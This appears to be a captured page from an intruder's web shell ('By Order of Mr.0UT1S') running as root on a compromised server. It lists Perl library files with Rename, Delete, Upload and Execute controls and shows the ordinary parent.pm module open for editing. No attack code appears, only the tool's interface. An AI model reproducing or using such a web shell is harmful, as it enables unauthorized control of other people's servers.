usr
/
share
/
perl5
/
vendor_perl
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] Algorithm
N/A
[DIR] App
N/A
[DIR] Archive
N/A
[DIR] Authen
N/A
[DIR] B
N/A
[DIR] CPAN
N/A
[DIR] Carp
N/A
[DIR] Config
N/A
[DIR] Data
N/A
[DIR] Date
N/A
[DIR] Digest
N/A
[DIR] Encode
N/A
[DIR] Error
N/A
[DIR] Exporter
N/A
[DIR] ExtUtils
N/A
[DIR] File
N/A
[DIR] Filter
N/A
[DIR] Getopt
N/A
[DIR] Git
N/A
[DIR] HTML
N/A
[DIR] HTTP
N/A
[DIR] IO
N/A
[DIR] IPC
N/A
[DIR] JSON
N/A
[DIR] LWP
N/A
[DIR] Locale
N/A
[DIR] MRO
N/A
[DIR] Math
N/A
[DIR] Module
N/A
[DIR] Mozilla
N/A
[DIR] Net
N/A
[DIR] POD2
N/A
[DIR] Package
N/A
[DIR] Params
N/A
[DIR] Parse
N/A
[DIR] Perl
N/A
[DIR] PerlIO
N/A
[DIR] Pod
N/A
[DIR] Software
N/A
[DIR] Sub
N/A
[DIR] TAP
N/A
[DIR] Term
N/A
[DIR] Test
N/A
[DIR] Test2
N/A
[DIR] Text
N/A
[DIR] Thread
N/A
[DIR] Time
N/A
[DIR] Try
N/A
[DIR] Types
N/A
[DIR] WWW
N/A
[DIR] autodie
N/A
[DIR] inc
N/A
[DIR] lib
N/A
[DIR] libwww
N/A
[DIR] local
N/A
CPAN.pm
138.01 KB
Rename
Delete
Carp.pm
30.32 KB
Rename
Delete
Digest.pm
10.46 KB
Rename
Delete
Env.pm
5.39 KB
Rename
Delete
Error.pm
24.29 KB
Rename
Delete
Expect.pm
98.09 KB
Rename
Delete
Exporter.pm
18.31 KB
Rename
Delete
Fatal.pm
56.81 KB
Rename
Delete
Git.pm
46.95 KB
Rename
Delete
LWP.pm
21.17 KB
Rename
Delete
Test2.pm
6.24 KB
Rename
Delete
autodie.pm
12.58 KB
Rename
Delete
bigint.pm
22.85 KB
Rename
Delete
bignum.pm
20.64 KB
Rename
Delete
bigrat.pm
15.78 KB
Rename
Delete
constant.pm
14.38 KB
Rename
Delete
experimental.pm
6.83 KB
Rename
Delete
newgetopt.pl
2.15 KB
Rename
Delete
ok.pm
967 bytes
Rename
Delete
parent.pm
2.51 KB
Rename
Delete
perldoc.pod
9.16 KB
Rename
Delete
perlfaq.pm
77 bytes
Rename
Delete
perlfaq.pod
22.22 KB
Rename
Delete
perlfaq1.pod
14.12 KB
Rename
Delete
perlfaq2.pod
9.24 KB
Rename
Delete
perlfaq3.pod
36.66 KB
Rename
Delete
perlfaq4.pod
87.30 KB
Rename
Delete
perlfaq5.pod
54.21 KB
Rename
Delete
perlfaq6.pod
38.69 KB
Rename
Delete
perlfaq7.pod
36.93 KB
Rename
Delete
perlfaq8.pod
48.93 KB
Rename
Delete
perlfaq9.pod
14.50 KB
Rename
Delete
perlglossary.pod
134.02 KB
Rename
Delete
package parent; use strict; our $VERSION = '0.237'; sub import { my $class = shift; my $inheritor = caller(0); if ( @_ and $_[0] eq '-norequire' ) { shift @_; } else { for ( my @filename = @_ ) { s{::|'}{/}g; require "$_.pm"; # dies if the file is not found } } { no strict 'refs'; push @{"$inheritor\::ISA"}, @_; # dies if a loop is detected }; }; 1; __END__ =encoding utf8 =head1 NAME parent - Establish an ISA relationship with base classes at compile time =head1 SYNOPSIS package Baz; use parent qw(Foo Bar); =head1 DESCRIPTION Allows you to both load one or more modules, while setting up inheritance from those modules at the same time. Mostly similar in effect to package Baz; BEGIN { require Foo; require Bar; push @ISA, qw(Foo Bar); } By default, every base class needs to live in a file of its own. If you want to have a subclass and its parent class in the same file, you can tell C<parent> not to load any modules by using the C<-norequire> switch: package Foo; sub exclaim { "I CAN HAS PERL" } package DoesNotLoadFooBar; use parent -norequire, 'Foo', 'Bar'; # will not go looking for Foo.pm or Bar.pm This is equivalent to the following code: package Foo; sub exclaim { "I CAN HAS PERL" } package DoesNotLoadFooBar; push @DoesNotLoadFooBar::ISA, 'Foo', 'Bar'; This is also helpful for the case where a package lives within a differently named file: package MyHash; use Tie::Hash; use parent -norequire, 'Tie::StdHash'; This is equivalent to the following code: package MyHash; require Tie::Hash; push @ISA, 'Tie::StdHash'; If you want to load a subclass from a file that C<require> would not consider an eligible filename (that is, it does not end in either C<.pm> or C<.pmc>), use the following code: package MySecondPlugin; require './plugins/custom.plugin'; # contains Plugin::Custom use parent -norequire, 'Plugin::Custom'; =head1 HISTORY This module was forked from L<base> to remove the cruft that had accumulated in it. =head1 CAVEATS =head1 SEE ALSO L<base> =head1 AUTHORS AND CONTRIBUTORS Rafaƫl Garcia-Suarez, Bart Lateur, Max Maischein, Anno Siegel, Michael Schwern =head1 MAINTAINER Max Maischein C< corion@cpan.org > Copyright (c) 2007-2017 Max Maischein C<< <corion@cpan.org> >> Based on the idea of C<base.pm>, which was introduced with Perl 5.004_04. =head1 LICENSE This module is released under the same terms as Perl itself. =cut
Save